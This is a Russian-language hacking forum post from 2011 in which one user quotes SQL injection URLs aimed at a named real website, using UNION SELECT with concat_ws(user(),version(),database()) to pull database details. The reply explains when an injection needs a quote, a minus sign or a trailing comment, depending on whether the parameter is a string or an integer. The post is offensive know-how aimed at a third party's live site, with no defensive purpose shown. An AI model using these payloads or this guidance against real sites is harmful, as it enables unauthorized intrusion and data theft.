22.07.2011, 11:08
|
|
Познающий
Регистрация: 17.04.2009
Сообщений: 59
Провел на форуме:
401944
Репутация:
37
|
|
Сообщение от heks
Мне бы расписать почему при
http://www.riviera-crimea.com/detail.php?id=-425'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,co ncat_ws(0x3a,user(),version(),database()),15,16+--+
данные выводятся
http://www.riviera-crimea.com/detail.php?id=425+union+select+1,2,3,4,5,6,7,8,9,1 0,11,12,13,co ncat_ws(0x3a,user(),version(),database()),15,16+--+ (убираем минусили ковычку)
данные не выводятся
как узнать когда писать именно ковычку, минус и ковычку а когда просто ковычку
Ы, кавычку нужно писать, когда переменная имеет тип string. Чтобы выйти из значения переменной и дописать свой SQL запрос. А когда переменная типа integer - кавычка ни в коем случае не нужна! И еще нужно помнить, что когда переменная типа string мы всегда должны в конце ставить комментарий ( -- ), чтобы убрать лишнюю кавычку, которая осталась.
|
|
|